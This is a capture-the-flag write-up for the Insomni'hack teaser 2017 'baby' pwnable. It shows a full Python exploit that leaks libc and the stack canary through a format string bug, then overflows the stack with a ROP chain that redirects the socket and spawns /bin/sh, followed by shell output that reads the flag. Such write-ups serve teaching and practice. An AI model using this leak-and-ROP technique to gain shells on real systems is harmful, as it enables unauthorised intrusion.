Insomni'hack teaser 2017 - pwn50 by r00ta

As usual we execute file command on the binary

$ file baby 
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped

and with checksec we get… WHAT?

./checksec --file baby 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes	0		10	baby

pretty nice for a baby pwnable :D But fortunately the binary is very easy (and the organizers provided us the libc): a server spawns a child process who does this

Welcome to baby's first pwn.
Pick your favorite vuln : 
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice > 

so we have a lot of possibilities here. The idea is to leak some address and information through the format string bug and then perform a simple buffer overflow.

In order to write a ropchain we have to find an address of the libc and then calculate the libc’s offset starting from this. Looking at the stack through FSB we find that at offset 158 there is the address of ‘<__libc_start_main+240>’. We can also leak the canary on the stack: it is at offset 144.

This part of the exploit is

import sys, socket, telnetlib
from struct import *
import random
import time
import binascii
import time
def recvuntil(t):
    p = ''
    while not p.endswith(t):
        tmp = s.recv(1)
        if not tmp: break
        p += tmp

    return p

def interactive():
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def p32(x): return pack('<I', x)
def u32(x): return unpack('<I', x)[0]
def p64(x): return pack('<Q', x)
def u64(x): return unpack('<Q', x)[0]

def recvMenu():
    recvuntil("Your choice > ")
    return

def leakAddrAtStack(offset,bytesToRead):
    print "LEAKING ADDR at stack offset " + str(offset)
    s.send("2\n")
    recvuntil("Your format > ")
    s.send("%" + str(offset) + "$lx\n")
    address = s.recv(bytesToRead)
    recvuntil("Your format > ")
    s.send("\n")
    return(int("0x" + address,16))

def doBufferOverflow(payload):
    print "PWNING"
    s.send("1\n")
    recvuntil("How much bytes you want to send ? ")
    s.send(str(len(payload)) + "\n")
    s.send(payload)
    print "INTERACTIVE"
    interactive()


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))

recvMenu()
libcstartmain_Address = leakAddrAtStack(158,12) - 0x20830   #offset 0x20830 from init
print hex(libcstartmain_Address)
recvMenu()
canary = leakAddrAtStack(144,16)
print hex(canary)

The first part of the ropchain is the redirection of the I/O using dup2 function

p = ''

p += p64(0x0000000000021102+ libcstartmain_Address)        # pop rdi; ret
p += p64(0x4)                                              # sockfd
p += p64(0x00000000000202e8+ libcstartmain_Address)        # pop rsi; ret
p += p64(0x0)                                                                                
p += p64(0x00000000000F6D90+ libcstartmain_Address)        # dup2

p += p64(0x0000000000021102+ libcstartmain_Address)        # pop rdi; ret
p += p64(0x4)                                              # sockfd
p += p64(0x00000000000202e8+ libcstartmain_Address)        # pop rsi; ret
p += p64(0x1) 	
p += p64(0x00000000000F6D90+ libcstartmain_Address)        # dup2

p += p64(0x0000000000021102+ libcstartmain_Address)        # pop rdi; ret
p += p64(0x4)                                              # sockfd
p += p64(0x00000000000202e8 + libcstartmain_Address)       # pop rsi; ret
p += p64(0x3)
p += p64(0x00000000000F6D90+ libcstartmain_Address)		   # dup2

and finally the ropchain for ‘/bin/sh’


p += pack('<Q', 0x0000000000001b92+ libcstartmain_Address) # pop rdx ; ret
p += pack('<Q', 0x00000000003c3080+ libcstartmain_Address) # @ .data
p += pack('<Q', 0x0000000000033544+ libcstartmain_Address) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000002e19c+ libcstartmain_Address) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x0000000000001b92+ libcstartmain_Address) # pop rdx ; ret
p += pack('<Q', 0x00000000003c3088+ libcstartmain_Address) # @ .data + 8
p += pack('<Q', 0x000000000008ad15+ libcstartmain_Address) # xor rax, rax ; ret
p += pack('<Q', 0x000000000002e19c+ libcstartmain_Address) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', 0x0000000000021102+ libcstartmain_Address) # pop rdi ; ret
p += pack('<Q', 0x00000000003c3080+ libcstartmain_Address) # @ .data
p += pack('<Q', 0x00000000000202e8+ libcstartmain_Address) # pop rsi ; ret
p += pack('<Q', 0x00000000003c3088+ libcstartmain_Address) # @ .data + 8
p += pack('<Q', 0x0000000000001b92+ libcstartmain_Address) # pop rdx ; ret
p += pack('<Q', 0x00000000003c3088+ libcstartmain_Address) # @ .data + 8
p += pack('<Q', 0x000000000008ad15+ libcstartmain_Address) # xor rax, rax ; ret
p += pack('<Q', 0x00000000000ab390+ libcstartmain_Address)*59 # add rax, 1 ; ret
p += pack('<Q', 0x00000000000bb7c5+ libcstartmain_Address) # syscall ; ret
doBufferOverflow("A"*(1032) + p64(canary)+ p64(0xdeadbeef) + p + "\n")

PWN’EM!!

$ python exploit.py baby.teaser.insomnihack.ch 1337
LEAKING ADDR at stack offset 158
0x7f129d29e000
LEAKING ADDR at stack offset 144
0x7971cd723454900
PWNING
INTERACTIVE
Good luck !

id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

The full exploit and the executables are available here!

Written on January 22, 2017